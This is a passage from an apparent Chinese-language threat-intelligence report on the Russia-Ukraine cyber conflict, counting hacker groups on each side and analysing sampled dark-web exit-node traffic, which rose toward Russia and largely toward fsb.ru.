近1萬黑客使用的跳板抽樣數據 多方數據顯示，超過50個國際黑客組織捲入了俄烏網絡衝突。在雙方的持續抗衡下，其中39個黑客組織支持烏克蘭，並持續對俄羅斯發起網絡攻擊，僅15個黑客組織表示支持俄羅斯。相關黑客組織概要情況詳見表5。 表5 相關黑客組織概要情況 3　暗網流量的數據分析暗網因隱蔽性、匿名性往往成為網絡犯罪的滋生地，也成為俄烏衝突網絡對抗的“暗器”。可以說，幾乎所有有價值的攻擊都會通過暗網進行布控和發動。依據創宇安全智腦持續對暗網出口節點實時流量0.13%的採樣數據，對比俄烏衝突爆發前與俄烏衝突爆發初期的暗網流量變化，可以清晰感知暗流湧動的暗網流量變化態勢。 表6　暗網流量變化態勢 依據表6，暗網出口節點流量去往俄羅斯的佔比在俄烏衝突初期顯著上升，連接數（connection）由衝突前539,759，佔比6.79%，上升至衝突初期2,378,098，佔比29.30%，同期對比烏克蘭的出口訪問流量基本變化不大。俄烏衝突初期暗網出口流量排名前10的出口節點訪問IP地址顯示，其中有7個都是俄羅斯的IP。持續統計暗網出口節點流量訪問HTTP(S)協議-主機名Top10（見圖14），可以發現，大部分流量都去往俄羅斯的主要安全機構俄羅斯聯邦安全局官網fsb.ru。 圖14　俄烏衝突期間的暗網出口流量統計 結合3月6日匿名者黑客組織（Anonymous）在Twitter上發布的消息（見圖15），他們聲明已經讓fsb.ru不能訪問的消息顯示，推測匿名者黑客組織同時利用了大量的暗網流量，成功發動了網絡攻擊。 圖15　黑客組織在Twitter上發布的消息 4　對輿論信息數據的分析據國外媒體報導，自俄烏